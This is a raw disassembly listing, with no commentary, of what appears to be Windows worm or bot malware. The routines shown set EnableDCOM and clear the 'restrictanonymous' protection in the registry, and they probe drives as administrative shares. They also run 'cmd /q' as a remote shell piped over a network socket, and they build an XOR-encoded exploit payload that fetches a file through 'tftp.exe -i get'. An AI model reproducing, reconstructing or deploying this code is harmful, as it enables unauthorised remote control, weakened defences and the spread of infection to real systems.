sub_415F77+22Dj push dword ptr [ebp+Str] call ds:dword_43C6A8 loc_416233: ; CODE XREF: sub_415F77+21Fj cmp [ebp+var_10], 0EAh jz loc_4160FE lea eax, [ebp+Dest] push offset unk_437CF8 ; Format push eax ; Dest call _sprintf pop ecx pop ecx pop ebx jmp short loc_416269 ; --------------------------------------------------------------------------- loc_416256: ; CODE XREF: sub_415F77+177j lea eax, [ebp+Dest] push offset unk_437CB8 ; Format push eax ; Dest call _sprintf pop ecx pop ecx loc_416269: ; CODE XREF: sub_415F77+2DDj cmp [ebp+arg_C], edi jnz short loc_416287 push edi ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+arg_4] ; Str push [ebp+arg_0] ; int call sub_40D670 add esp, 14h loc_416287: ; CODE XREF: sub_415F77+2F5j lea eax, [ebp+Dest] push eax call sub_40BF6F pop ecx push 1 pop eax pop edi pop esi leave retn sub_415F77 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41629B proc near ; CODE XREF: sub_415F17:loc_415F5Ep Dest = byte ptr -220h var_20 = dword ptr -20h var_14 = byte ptr -14h Str = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 220h push ebx xor ebx, ebx cmp ds:dword_43C6E8, ebx push esi jnz loc_4163C9 lea eax, [ebp+var_4] mov esi, 80000002h push eax push 2001Fh push ebx push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push esi call ds:dword_43C688 ; RegOpenKeyExA test eax, eax jnz short loc_416326 mov ax, ds:word_4381D4 mov word ptr [ebp+Str+2], ax lea eax, [ebp+Str+2] push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+Str+2] push eax push 1 push ebx push offset aEnabledcom ; "EnableDCOM" push [ebp+var_4] call ds:dword_43C63C ; RegSetValueExA test eax, eax jz short loc_416308 push offset unk_4381A0 jmp short loc_41630D ; --------------------------------------------------------------------------- loc_416308: ; CODE XREF: sub_41629B+64j push offset dword_438174 ; Format loc_41630D: ; CODE XREF: sub_41629B+6Bj lea eax, [ebp+Dest] push eax ; Dest call _sprintf pop ecx pop ecx push [ebp+var_4] call ds:dword_43C5F4 ; RegCloseKey jmp short loc_416339 ; --------------------------------------------------------------------------- loc_416326: ; CODE XREF: sub_41629B+36j lea eax, [ebp+Dest] push offset unk_437F40 ; Format push eax ; Dest call _sprintf pop ecx pop ecx loc_416339: ; CODE XREF: sub_41629B+89j cmp [ebp+arg_C], ebx jnz short loc_416358 push 1 ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+arg_4] ; Str push [ebp+arg_0] ; int call sub_40D670 add esp, 14h loc_416358: ; CODE XREF: sub_41629B+A1j lea eax, [ebp+Dest] push eax call sub_40BF6F pop ecx lea eax, [ebp+var_4] push eax push 0F003Fh push ebx push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa" push esi call ds:dword_43C688 ; RegOpenKeyExA test eax, eax jnz short loc_4163C2 lea eax, [ebp+Str] push 4 push eax push 4 push ebx push offset aRestrictanonym ; "restrictanonymous" push [ebp+var_4] mov dword ptr [ebp+Str], ebx call ds:dword_43C63C ; RegSetValueExA test eax, eax jz short loc_4163A4 push offset unk_438128 jmp short loc_4163A9 ; --------------------------------------------------------------------------- loc_4163A4: ; CODE XREF: sub_41629B+100j push offset unk_4380E4 ; Format loc_4163A9: ; CODE XREF: sub_41629B+107j lea eax, [ebp+Dest] push eax ; Dest call _sprintf pop ecx pop ecx push [ebp+var_4] call ds:dword_43C5F4 ; RegCloseKey jmp short loc_4163DC ; --------------------------------------------------------------------------- loc_4163C2: ; CODE XREF: sub_41629B+E2j push offset unk_438098 jmp short loc_4163CE ; --------------------------------------------------------------------------- loc_4163C9: ; CODE XREF: sub_41629B+13j push offset unk_437E10 ; Format loc_4163CE: ; CODE XREF: sub_41629B+12Cj lea eax, [ebp+Dest] push eax ; Dest call _sprintf pop ecx pop ecx loc_4163DC: ; CODE XREF: sub_41629B+125j cmp [ebp+arg_C], ebx jnz short loc_4163FB push 1 ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+arg_4] ; Str push [ebp+arg_0] ; int call sub_40D670 add esp, 14h loc_4163FB: ; CODE XREF: sub_41629B+144j lea eax, [ebp+Dest] push eax call sub_40BF6F cmp ds:dword_43C710, ebx pop ecx jnz loc_41656D push edi mov esi, offset off_437C78 mov edi, 200h loc_41641F: ; CODE XREF: sub_41629B+1E9j push dword ptr [esi+4] ; int push dword ptr [esi] ; Str push ebx ; int call sub_40DC15 add esp, 0Ch push dword ptr [esi] test eax, eax jnz short loc_41643A push offset unk_438068 jmp short loc_41643F ; --------------------------------------------------------------------------- loc_41643A: ; CODE XREF: sub_41629B+196j push offset unk_438030 ; Format loc_41643F: ; CODE XREF: sub_41629B+19Dj lea eax, [ebp+Dest] push edi ; Count push eax ; Dest call __snprintf add esp, 10h cmp [ebp+arg_C], ebx jnz short loc_41646E push 1 ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+arg_4] ; Str push [ebp+arg_0] ; int call sub_40D670 add esp, 14h loc_41646E: ; CODE XREF: sub_41629B+1B7j lea eax, [ebp+Dest] push eax call sub_40BF6F add esi, 8 pop ecx cmp esi, offset off_437C88 jl short loc_41641F call ds:dword_42317C ; GetLogicalDrives test eax, eax mov [ebp+var_4], eax mov bl, 41h jz loc_416555 loc_416499: ; CODE XREF: sub_41629B+2B4j mov eax, [ebp+var_4] and eax, 1 cmp al, 1 jnz loc_41654A cmp bl, 41h jz loc_41654A movsx esi, bl push esi push offset aC_0 ; "%c$" lea eax, [ebp+var_14] push 0Ah ; Count push eax ; Dest call __snprintf push esi push offset aC_1 ; "%c:\\" lea eax, [ebp+var_20] push 0Ah ; Count push eax ; Dest call __snprintf add esp, 20h lea eax, [ebp+var_20] push eax call ds:dword_43C678 ; GetDriveTypeA cmp eax, 3 jnz short loc_41654A lea eax, [ebp+var_20] push eax ; int lea eax, [ebp+var_14] push eax ; Str push 0 ; int call sub_40DC15 add esp, 0Ch test eax, eax lea eax, [ebp+var_14] push eax jnz short loc_416508 push offset unk_438068 jmp short loc_41650D ; --------------------------------------------------------------------------- loc_416508: ; CODE XREF: sub_41629B+264j push offset unk_438030 ; Format loc_41650D: ; CODE XREF: sub_41629B+26Bj lea eax, [ebp+Dest] push edi ; Count push eax ; Dest call __snprintf add esp, 10h cmp [ebp+arg_C], 0 jnz short loc_41653D push 1 ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+arg_4] ; Str push [ebp+arg_0] ; int call sub_40D670 add esp, 14h loc_41653D: ; CODE XREF: sub_41629B+286j lea eax, [ebp+Dest] push eax call sub_40BF6F pop ecx loc_41654A: ; CODE XREF: sub_41629B+206j ; sub_41629B+20Fj ... inc bl shr [ebp+var_4], 1 jnz loc_416499 loc_416555: ; CODE XREF: sub_41629B+1F8j lea eax, [ebp+Dest] push offset unk_437FF0 ; Format push eax ; Dest call _sprintf pop ecx xor ebx, ebx pop ecx pop edi jmp short loc_416580 ; --------------------------------------------------------------------------- loc_41656D: ; CODE XREF: sub_41629B+173j lea eax, [ebp+Dest] push offset unk_437CB8 ; Format push eax ; Dest call _sprintf pop ecx pop ecx loc_416580: ; CODE XREF: sub_41629B+2D0j cmp [ebp+arg_C], ebx jnz short loc_41659E push ebx ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+arg_4] ; Str push [ebp+arg_0] ; int call sub_40D670 add esp, 14h loc_41659E: ; CODE XREF: sub_41629B+2E8j lea eax, [ebp+Dest] push eax call sub_40BF6F pop ecx push 1 pop eax pop esi pop ebx leave retn sub_41629B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4165B2 proc near ; CODE XREF: sub_41546F+1AFp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi mov edi, [ebp+arg_0] push edi call sub_416703 imul edi, 234h mov esi, eax xor ebx, ebx mov eax, ds:dword_44207C[edi] mov [ebp+var_C], 0Ch mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov [esi+0Ch], eax mov edi, ds:dword_42309C pop ecx lea eax, [ebp+arg_0] push eax push ebx push esi push offset sub_4168D5 lea eax, [ebp+var_C] push ebx push eax call edi cmp eax, ebx mov [esi+10h], eax jnz short loc_41661D call ds:dword_423088 ; RtlGetLastWin32Error push eax ; Args push offset dword_43821C ; Format call sub_40BFE3 or dword ptr [esi+0Ch], 0FFFFFFFFh pop ecx pop ecx jmp short loc_416657 ; --------------------------------------------------------------------------- loc_41661D: ; CODE XREF: sub_4165B2+50j lea eax, [ebp+arg_0] push eax push ebx push esi push offset sub_416987 lea eax, [ebp+var_C] push ebx push eax call edi cmp eax, ebx mov [esi+14h], eax jnz short loc_41665E call ds:dword_423088 ; RtlGetLastWin32Error push eax ; Args push offset dword_43821C ; Format call sub_40BFE3 pop ecx or dword ptr [esi+0Ch], 0FFFFFFFFh pop ecx push ebx push dword ptr [esi+14h] call ds:dword_423168 loc_416657: ; CODE XREF: sub_4165B2+69j xor eax, eax jmp loc_4166FE ; --------------------------------------------------------------------------- loc_41665E: ; CODE XREF: sub_4165B2+82j mov eax, [esi+10h] push 0FFFFFFFFh mov [ebp+var_18], eax mov eax, [esi+14h] mov [ebp+var_14], eax mov eax, [esi+8] mov [ebp+var_10], eax lea eax, [ebp+var_18] push ebx push eax push 3 call ds:dword_423180 ; WaitForMultipleObjects sub eax, ebx jz short loc_4166B8 dec eax jz short loc_4166B2 dec eax jz short loc_41669E call ds:dword_423088 ; RtlGetLastWin32Error push eax ; Args push offset dword_4381D8 ; Format call sub_40BFE3 pop ecx pop ecx jmp short loc_4166CD ; --------------------------------------------------------------------------- loc_41669E: ; CODE XREF: sub_4165B2+D5j mov edi, ds:dword_423168 push ebx push dword ptr [esi+14h] call edi push ebx push dword ptr [esi+10h] call edi jmp short loc_4166CD ; --------------------------------------------------------------------------- loc_4166B2: ; CODE XREF: sub_4165B2+D2j push ebx push dword ptr [esi+10h] jmp short loc_4166BC ; --------------------------------------------------------------------------- loc_4166B8: ; CODE XREF: sub_4165B2+CFj push ebx push dword ptr [esi+14h] loc_4166BC: ; CODE XREF: sub_4165B2+104j call ds:dword_423168 push 1 push dword ptr [esi+8] call ds:dword_423110 loc_4166CD: ; CODE XREF: sub_4165B2+EAj ; sub_4165B2+FEj push dword ptr [esi+10h] mov edi, ds:dword_423074 call edi push dword ptr [esi+14h] call edi push dword ptr [esi+8] call edi push dword ptr [esi] call edi push dword ptr [esi+4] call edi push dword ptr [esi+0Ch] call ds:dword_43C6B0 ; closesocket push esi ; Memory call _free pop ecx push 1 pop eax loc_4166FE: ; CODE XREF: sub_4165B2+A7j pop edi pop esi pop ebx leave retn sub_4165B2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416703 proc near ; CODE XREF: sub_4165B2+Dp var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push ebx push esi push edi xor edi, edi push 18h ; Size mov [ebp+var_4], edi mov [ebp+var_8], edi call _malloc mov esi, eax pop ecx cmp esi, edi jz loc_4167ED mov ebx, ds:dword_423140 lea eax, [ebp+var_14] push edi push eax lea eax, [ebp+var_8] mov [esi], edi push eax mov [esi+4], edi push esi mov [ebp+var_14], 0Ch mov [ebp+var_10], edi mov [ebp+var_C], 1 call ebx ; CreatePipe mov edi, ds:dword_423074 test eax, eax jnz short loc_416766 call ds:dword_423088 ; RtlGetLastWin32Error push eax push offset dword_4382FC jmp short loc_416786 ; --------------------------------------------------------------------------- loc_416766: ; CODE XREF: sub_416703+53j lea eax, [ebp+var_14] push 0 push eax lea eax, [esi+4] push eax lea eax, [ebp+var_4] push eax call ebx ; CreatePipe test eax, eax jnz short loc_41678E call ds:dword_423088 ; RtlGetLastWin32Error push eax ; Args push offset dword_4382AC ; Format loc_416786: ; CODE XREF: sub_416703+61j call sub_40BFE3 pop ecx jmp short loc_4167BC ; --------------------------------------------------------------------------- loc_41678E: ; CODE XREF: sub_416703+75j push [ebp+arg_0] push [ebp+var_8] push [ebp+var_4] call sub_4167FC add esp, 0Ch mov [esi+8], eax push [ebp+var_4] call edi push [ebp+var_8] call edi cmp dword ptr [esi+8], 0 jnz short loc_4167F1 push offset dword_438274 call sub_40BF6F loc_4167BC: ; CODE XREF: sub_416703+89j cmp [ebp+var_4], 0 pop ecx jz short loc_4167C8 push [ebp+var_4] call edi loc_4167C8: ; CODE XREF: sub_416703+BEj cmp [ebp+var_8], 0 jz short loc_4167D3 push [ebp+var_8] call edi loc_4167D3: ; CODE XREF: sub_416703+C9j mov eax, [esi] test eax, eax jz short loc_4167DC push eax call edi loc_4167DC: ; CODE XREF: sub_416703+D4j mov eax, [esi+4] test eax, eax jz short loc_4167E6 push eax call edi loc_4167E6: ; CODE XREF: sub_416703+DEj push esi ; Memory call _free pop ecx loc_4167ED: ; CODE XREF: sub_416703+1Dj xor eax, eax jmp short loc_4167F7 ; --------------------------------------------------------------------------- loc_4167F1: ; CODE XREF: sub_416703+ADj or dword ptr [esi+0Ch], 0FFFFFFFFh mov eax, esi loc_4167F7: ; CODE XREF: sub_416703+ECj pop edi pop esi pop ebx leave retn sub_416703 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4167FC proc near ; CODE XREF: sub_416703+94p Dst = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_2C = dword ptr -2Ch var_28 = word ptr -28h var_26 = word ptr -26h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 58h push ebx push esi push edi push 44h pop edi xor esi, esi push edi ; Size lea eax, [ebp+Dst] push esi ; Val push eax ; Dst mov [ebp+var_4], esi call _memset push 10h ; Size lea eax, [ebp+var_14] push esi ; Val push eax ; Dst call _memset mov eax, [ebp+arg_0] mov ebx, [ebp+arg_4] add esp, 18h mov [ebp+var_20], eax lea eax, [ebp+var_18] mov [ebp+Dst], edi mov edi, ds:dword_42313C push esi push 1 push 2 push eax mov [ebp+var_54], esi mov [ebp+var_4C], esi mov [ebp+var_50], esi mov [ebp+var_3C], esi mov [ebp+var_40], esi mov [ebp+var_44], esi mov [ebp+var_48], esi mov [ebp+var_28], si mov [ebp+var_24], esi mov [ebp+var_26], si mov [ebp+var_2C], 101h mov [ebp+var_1C], ebx call edi ; GetCurrentProcess push eax push ebx call edi ; GetCurrentProcess push eax call ds:dword_423138 lea eax, [ebp+var_14] push eax lea eax, [ebp+Dst] push eax push esi push esi push esi push 1 push esi push esi push offset aCmdQ ; "cmd /q" push esi call ds:dword_423120 ; CreateProcessA test eax, eax jz short loc_4168B8 mov eax, [ebp+arg_8] mov ecx, [ebp+var_C] imul eax, 234h push [ebp+var_10] mov esi, [ebp+var_14] mov ds:dword_442078[eax], ecx call ds:dword_423074 jmp short loc_4168CE ; --------------------------------------------------------------------------- loc_4168B8: ; CODE XREF: sub_4167FC+9Aj call ds:dword_423088 ; RtlGetLastWin32Error push eax ; Args push offset dword_43834C ; Format call sub_40BFE3 mov esi, [ebp+var_4] pop ecx pop ecx loc_4168CE: ; CODE XREF: sub_4167FC+BAj mov eax, esi pop edi pop esi pop ebx leave retn sub_4167FC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4168D5 proc near ; DATA XREF: sub_4165B2+3Fo var_1B0 = byte ptr -1B0h var_C8 = byte ptr -0C8h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1B0h push ebx push esi mov ebx, ds:dword_423070 push edi mov edi, [ebp+arg_0] lea eax, [ebp+arg_0] push 0 push eax lea eax, [ebp+var_C8] push 0C8h push eax push dword ptr [edi] loc_4168FE: ; CODE XREF: sub_4168D5+8Fj call ebx test eax, eax jz short loc_416966 xor eax, eax xor dl, dl xor esi, esi cmp [ebp+arg_0], eax jbe short loc_416939 loc_41690F: ; CODE XREF: sub_4168D5+62j mov cl, [ebp+esi+var_C8] cmp cl, 0Ah jnz short loc_416929 cmp dl, 0Dh jz short loc_416929 mov [ebp+eax+var_1B0], 0Dh inc eax loc_416929: ; CODE XREF: sub_4168D5+44j ; sub_4168D5+49j mov [ebp+eax+var_1B0], cl inc eax inc esi mov dl, cl cmp esi, [ebp+arg_0] jb short loc_41690F loc_416939: ; CODE XREF: sub_4168D5+38j push 0 push eax lea eax, [ebp+var_1B0] push eax push dword ptr [edi+0Ch] call ds:dword_43C668 ; send test eax, eax jle short loc_416966 lea eax, [ebp+arg_0] push 0 push eax lea eax, [ebp+var_C8] push 0C8h push eax push dword ptr [edi] jmp short loc_4168FE ; --------------------------------------------------------------------------- loc_416966: ; CODE XREF: sub_4168D5+2Dj ; sub_4168D5+79j mov esi, ds:dword_423088 call esi ; RtlGetLastWin32Error cmp eax, 6Dh jz short loc_416982 call esi ; RtlGetLastWin32Error push eax ; Args push offset dword_438398 ; Format call sub_40BFE3 pop ecx pop ecx loc_416982: ; CODE XREF: sub_4168D5+9Cj pop edi pop esi pop ebx leave retn sub_4168D5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416987 proc near ; DATA XREF: sub_4165B2+71o var_DC = byte ptr -0DCh var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = byte ptr -6 var_5 = byte ptr -5 var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0DCh push ebx push esi xor ebx, ebx push edi mov edi, [ebp+arg_0] xor esi, esi mov [ebp+var_10], ebx mov [ebp+var_C], ebx loc_4169A0: ; CODE XREF: sub_416987+39j ; sub_416987+D7j ... push ebx lea eax, [ebp+arg_0+3] push 1 push eax push dword ptr [edi+0Ch] call ds:dword_43C630 ; recv test eax, eax jle loc_416AA5 cmp [ebp+var_10], ebx jbe short loc_4169C2 dec [ebp+var_10] jmp short loc_4169A0 ; --------------------------------------------------------------------------- loc_4169C2: ; CODE XREF: sub_416987+34j mov al, byte ptr [ebp+arg_0+3] movsx ecx, al cmp ecx, 0FFh jz loc_416A85 cmp al, 8 mov [ebp+var_C], ebx jz short loc_416A32 cmp al, 7Fh jz short loc_416A32 cmp al, 3 jnz short loc_4169ED push ebx push ebx call ds:dword_423184 ; GenerateConsoleCtrlEvent jmp short loc_416A59 ; --------------------------------------------------------------------------- loc_4169ED: ; CODE XREF: sub_416987+5Aj cmp al, 15h jnz short loc_416A0F xor esi, esi mov [ebp+var_8], 20h mov [ebp+var_7], 58h mov [ebp+var_6], 58h mov [ebp+var_5], 58h mov [ebp+var_4], 0Dh mov [ebp+var_3], 0Ah push 6 jmp short loc_416A45 ; --------------------------------------------------------------------------- loc_416A0F: ; CODE XREF: sub_416987+68j mov [ebp+esi+var_DC], al inc esi push 1 cmp al, 0Dh mov [ebp+var_8], al pop ecx jnz short loc_416A46 mov [ebp+esi+var_DC], 0Ah mov [ebp+var_7], 0Ah inc esi push 2 jmp short loc_416A45 ; --------------------------------------------------------------------------- loc_416A32: ; CODE XREF: sub_416987+52j ; sub_416987+56j cmp esi, ebx jbe short loc_416A5C dec esi mov [ebp+var_8], 8 mov [ebp+var_7], 20h mov [ebp+var_6], 8 push 3 loc_416A45: ; CODE XREF: sub_416987+86j ; sub_416987+A9j pop ecx loc_416A46: ; CODE XREF: sub_416987+98j push ebx lea eax, [ebp+var_8] push ecx push eax push dword ptr [edi+0Ch] call ds:dword_43C668 ; send test eax, eax jle short loc_416AA5 loc_416A59: ; CODE XREF: sub_416987+64j mov al, byte ptr [ebp+arg_0+3] loc_416A5C: ; CODE XREF: sub_416987+ADj cmp al, 0Dh jnz loc_4169A0 lea eax, [ebp+var_14] push ebx push eax lea eax, [ebp+var_DC] push esi push eax push dword ptr [edi+4] call ds:dword_423078 test eax, eax jz short loc_416AA5 xor esi, esi jmp loc_4169A0 ; --------------------------------------------------------------------------- loc_416A85: ; CODE XREF: sub_416987+47j cmp [ebp+var_C], ebx jnz short loc_416A96 mov [ebp+var_C], 1 jmp loc_4169A0 ; --------------------------------------------------------------------------- loc_416A96: ; CODE XREF: sub_416987+101j mov [ebp+var_10], 0Ah mov [ebp+var_C], ebx jmp loc_4169A0 ; --------------------------------------------------------------------------- loc_416AA5: ; CODE XREF: sub_416987+2Bj ; sub_416987+D0j ... pop edi pop esi pop ebx leave retn sub_416987 endp ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_416AAA(char *Str,int) sub_416AAA proc near ; CODE XREF: sub_416ACA+Ap ; sub_416BA2+8p ... Str = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+Str] ; Str call _strlen push [esp+8+arg_4] ; Str mov esi, eax call _strlen pop ecx lea eax, [esi+eax*2+0C1h] pop ecx pop esi retn sub_416AAA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_416ACA(void *Dst,int,void *Str,int) sub_416ACA proc near ; CODE XREF: sub_416BB9+49p var_4 = dword ptr -4 Dst = dword ptr 8 arg_4 = dword ptr 0Ch Str = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push [ebp+arg_C] ; int push [ebp+Str] ; Str call sub_416AAA cmp eax, [ebp+arg_4] pop ecx pop ecx mov [ebp+var_4], eax jbe short loc_416AE7 xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_416AE7: ; CODE XREF: sub_416ACA+17j push ebx push esi push edi push [ebp+Str] ; Str call _strlen push [ebp+arg_C] ; Str mov esi, eax call _strlen mov edi, eax mov ebx, [ebp+Dst] push 0FFFFFFEDh lea eax, [edi+esi+12h] mov ds:dword_438478, eax lea eax, [edi+1] mov ds:dword_438499, eax lea eax, [edi+17h] mov ds:dword_438491, eax pop eax push 74h ; Size sub eax, edi push offset dword_438414 ; Src push ebx ; Dst mov ds:dword_4384A7, eax call _memcpy push esi ; Size lea eax, [ebx+74h] push [ebp+Str] ; Src push eax ; Dst call _memcpy add esi, 74h push 5 ; Size push (offset aTftp_exeIGet+0Ch) ; Src lea eax, [esi+ebx] push eax ; Dst call _memcpy add esi, 5 push edi ; Size push [ebp+arg_C] ; Src lea eax, [esi+ebx] push eax ; Dst call _memcpy add esi, edi push 10h ; Size push (offset aTftp_exeIGet+11h) ; Src lea eax, [esi+ebx] push eax ; Dst call _memcpy add esp, 44h add esi, 10h push edi ; Size lea eax, [esi+ebx] push [ebp+arg_C] ; Src push eax ; Dst call _memcpy add esi, edi push 38h ; Size add esi, ebx push offset byte_43849D ; Src push esi ; Dst call _memcpy mov eax, [ebp+var_4] add esp, 18h pop edi pop esi pop ebx leave retn sub_416ACA endp ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_416BA2(char *Str,int) sub_416BA2 proc near ; CODE XREF: sub_416BB9+Dp Str = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] ; int push [esp+4+Str] ; Str call sub_416AAA push eax call sub_416C26 add esp, 0Ch retn sub_416BA2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_416BB9(void *Dst,int,char *Str,int) sub_416BB9 proc near ; CODE XREF: sub_402B7B+32p Dst = dword ptr 8 arg_4 = dword ptr 0Ch Str = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx mov ebx, [ebp+Str] push edi mov edi, [ebp+arg_C] push edi ; int push ebx ; Str call sub_416BA2 cmp eax, [ebp+arg_4] pop ecx pop ecx ja short loc_416BD9 cmp eax, 0FFFFh jbe short loc_416BDD loc_416BD9: ; CODE XREF: sub_416BB9+17j xor eax, eax jmp short loc_416C22 ; --------------------------------------------------------------------------- loc_416BDD: ; CODE XREF: sub_416BB9+1Ej push esi push edi ; int push ebx ; Str call sub_416AAA add eax, 101h push eax ; Size call _malloc add esp, 0Ch mov esi, eax push edi ; int push ebx ; Str push edi ; int push ebx ; Str call sub_416AAA pop ecx pop ecx push eax ; int push esi ; Dst call sub_416ACA push eax ; int push esi ; int push [ebp+arg_4] ; int push [ebp+Dst] ; Dst call sub_416C41 push esi ; Memory mov edi, eax call _free add esp, 24h mov eax, edi pop esi loc_416C22: ; CODE XREF: sub_416BB9+22j pop edi pop ebx pop ebp retn sub_416BB9 endp ; =============== S U B R O U T I N E ======================================= sub_416C26 proc near ; CODE XREF: sub_416BA2+Ep ; sub_416C41+4Ap arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test cl, cl jnz short loc_416C2F inc ecx loc_416C2F: ; CODE XREF: sub_416C26+6j mov eax, 0FFh cmp eax, ecx sbb eax, eax and eax, 2 add eax, 15h add eax, ecx retn sub_416C26 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_416C41(void *Dst,int,int,int) sub_416C41 proc near ; CODE XREF: sub_416BB9+56p var_4 = dword ptr -4 Dst = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx cmp byte ptr [ebp+arg_C], 0Ah jz short loc_416C5D cmp byte ptr [ebp+arg_C], 0Dh jz short loc_416C5D cmp byte ptr [ebp+arg_C], 5Ch jz short loc_416C5D cmp byte ptr [ebp+arg_C], 0 jnz short loc_416C60 loc_416C5D: ; CODE XREF: sub_416C41+8j ; sub_416C41+Ej ... inc [ebp+arg_C] loc_416C60: ; CODE XREF: sub_416C41+1Aj push esi mov esi, 0FFh cmp [ebp+arg_C], esi jbe short loc_416C88 mov eax, [ebp+arg_C] shr eax, 8 cmp al, 0Ah jz short loc_416C81 cmp al, 0Dh jz short loc_416C81 cmp al, 5Ch jz short loc_416C81 test al, al jnz short loc_416C88 loc_416C81: ; CODE XREF: sub_416C41+32j ; sub_416C41+36j ... add [ebp+arg_C], 100h loc_416C88: ; CODE XREF: sub_416C41+28j ; sub_416C41+3Ej push [ebp+arg_C] call sub_416C26 cmp eax, [ebp+arg_4] pop ecx mov [ebp+var_4], eax ja short loc_416CA0 cmp eax, 0FFFFh jbe short loc_416CA7 loc_416CA0: ; CODE XREF: sub_416C41+56j xor eax, eax jmp loc_416D45 ; --------------------------------------------------------------------------- loc_416CA7: ; CODE XREF: sub_416C41+5Dj mov ecx, [ebp+arg_C] push ebx mov bl, ds:byte_486F9C xor edx, edx push edi mov edi, [ebp+arg_8] test ecx, ecx jbe short loc_416CD7 loc_416CBB: ; CODE XREF: sub_416C41+94j mov al, [edx+edi] xor al, bl jz short loc_416CCE cmp al, 0Ah jz short loc_416CCE cmp al, 0Dh jz short loc_416CCE cmp al, 5Ch jnz short loc_416CD2 loc_416CCE: ; CODE XREF: sub_416C41+7Fj ; sub_416C41+83j ... inc bl xor edx, edx loc_416CD2: ; CODE XREF: sub_416C41+8Bj inc edx cmp edx, ecx jb short loc_416CBB loc_416CD7: ; CODE XREF: sub_416C41+78j cmp ecx, esi mov ds:byte_486F9C, bl ja short loc_416D03 push 15h ; Size push offset loc_4383FC ; Src push [ebp+Dst] ; Dst mov ds:byte_438409, cl mov ds:byte_43840D, bl call _memcpy add esp, 0Ch push 15h jmp short loc_416D24 ; --------------------------------------------------------------------------- loc_416D03: ; CODE XREF: sub_416C41+9Ej push 17h ; Size push offset loc_4383E4 ; Src push [ebp+Dst] ; Dst mov ds:word_4383F2, cx mov ds:byte_4383F7, bl call _memcpy add esp, 0Ch push 17h loc_416D24: ; CODE XREF: sub_416C41+C0j xor eax, eax pop ecx cmp [ebp+arg_C], eax jbe short loc_416D40 mov edx, [ebp+Dst] lea esi, [ecx+edx] loc_416D32: ; CODE XREF: sub_416C41+FDj mov cl, [eax+edi] xor cl, bl mov [esi+eax], cl inc eax cmp eax, [ebp+arg_C] jb short loc_416D32 loc_416D40: ; CODE XREF: sub_416C41+E9j mov eax, [ebp+var_4] pop edi pop ebx loc_416D45: ; CODE XREF: sub_416C41+61j pop esi leave retn sub_416C41 endp ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_416D48(char *Source,int,int) sub_416D48 proc near ; CODE XREF: sub_4060CD+220p ; sub_407243+F0p ... Source = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi xor edi, edi mov eax, offset dword_441E70 loc_416D50: ; CODE XREF: sub_416D48+18j cmp byte ptr [eax], 0 jz short loc_416D64 add eax, 234h inc edi cmp eax, offset dword_486C00 jl short loc_416D50 jmp short loc_416DAF ; --------------------------------------------------------------------------- loc_416D64: ; CODE XREF: sub_416D48+Bj push esi mov esi, edi imul esi, 234h push 1FFh ; Count push [esp+0Ch+Source] ; Source lea eax, dword_441E70[esi] push eax ; Dest call _strncpy mov eax, [esp+14h+arg_4] add esp, 0Ch mov ds:dword_442070[esi], eax and ds:dword_442074[esi], 0 mov eax, [esp+8+arg_8] and ds:dword_442078[esi], 0 mov ds:dword_44207C[esi], eax and ds:byte_442088[esi], 0 pop esi 